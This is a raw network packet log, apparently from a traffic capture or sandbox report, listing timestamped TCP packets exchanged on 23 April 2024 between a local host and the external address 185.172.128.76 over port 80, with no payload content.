Apr 23, 2024 09:33:01.292624950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.292639017 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.292660952 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.292679071 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.292681932 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.292697906 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.292710066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.292718887 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.292732954 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.292748928 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.292844057 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.292855978 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.292866945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.292875051 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.292879105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.292890072 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.292892933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.292905092 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.292908907 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.292917013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.292928934 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.292934895 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.292938948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.292949915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.292952061 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.292960882 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.292972088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.292975903 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.292985916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.292996883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293001890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293011904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293019056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293025017 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293036938 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293045998 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293049097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293061972 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293071985 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293082952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293092012 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293095112 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293106079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293113947 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293118000 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293128967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293138027 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293139935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293152094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293163061 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293168068 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293174982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293184996 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293188095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293200016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293210983 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293210983 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293222904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293234110 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293235064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293246031 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293252945 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293256998 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293267965 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293272972 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293282986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293291092 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293294907 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293306112 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293313980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293319941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293330908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293340921 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293343067 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293356895 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293360949 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293369055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293378115 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293380022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293392897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293402910 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293404102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293416023 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293426991 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293426991 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293440104 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293447018 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293452978 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293463945 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293463945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293476105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293487072 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293494940 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293498993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293510914 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293520927 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293524027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293534994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293544054 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293545961 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293557882 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293560982 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293570042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293581963 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293587923 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293592930 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293606997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293617964 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293620110 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293631077 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293637991 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293642044 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293652058 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293653965 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293665886 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293678045 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293678045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293689013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293703079 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293704033 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293715954 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293720961 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293729067 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293742895 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293746948 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293754101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293766022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293776035 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293777943 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293788910 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293792963 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293801069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293812037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293817997 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293823957 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293836117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293843985 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293847084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293859959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293868065 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293870926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293883085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293884993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293895006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293909073 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293912888 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293920994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293932915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293936968 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293945074 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293953896 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293957949 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293968916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293978930 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.293981075 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.293992996 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294004917 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294007063 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294018984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294027090 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294028997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294042110 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294045925 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294054031 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294064999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294064999 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294076920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294089079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294090033 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294099092 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294111967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294116974 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294123888 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294135094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294136047 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294147015 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294157982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294162035 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294169903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294181108 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294188023 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294193029 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294204950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294204950 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294215918 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294226885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294235945 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294239044 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294256926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294262886 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294270039 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294280052 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294282913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294297934 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294307947 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294310093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294323921 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294332027 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294336081 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294347048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294351101 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294358015 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294367075 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294369936 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294383049 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294392109 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294395924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294408083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294416904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294423103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294434071 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294435978 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294446945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294457912 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294459105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294471025 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294481993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294485092 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294493914 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294502020 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294507980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294518948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294519901 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294531107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294543028 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294545889 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294555902 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294569969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294574976 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294583082 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294591904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294596910 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294609070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294619083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294621944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294637918 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294646025 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294650078 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294662952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294668913 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294677019 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294686079 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294687986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294699907 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294709921 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294711113 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294723034 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294734001 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294734955 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294745922 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294754028 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294759989 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294770002 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294773102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294784069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294795036 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294799089 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294811010 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294820070 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294821978 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294836998 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294836998 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294847965 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294858932 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.294859886 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294886112 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.294903040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.396827936 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.602322102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.708271980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.708302021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.708312988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.708319902 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.708327055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.708333015 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.708343983 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.708354950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.708367109 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.708379030 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.708414078 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.708493948 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.760802984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.760828018 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.760839939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.760847092 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.760860920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.760874987 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.760886908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.760900021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.760904074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.760912895 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.760926008 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.760936975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.760946989 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.760958910 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.760967970 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.760967970 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.760971069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.760986090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.760998011 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.760998964 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.761009932 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.761022091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.761022091 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.761066914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.761070013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.761082888 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.761111021 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.761111021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.761118889 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.761125088 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.761126995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.761156082 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.761168957 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.813366890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.813394070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.813412905 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.813426018 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.813441038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.813451052 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.813453913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.813467979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.813492060 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.813508987 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.813641071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.813662052 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.813684940 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.813699007 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.813765049 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.813777924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.813790083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.813802004 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.813810110 CEST	49704	80	192.168.2.5	185.172.128.76
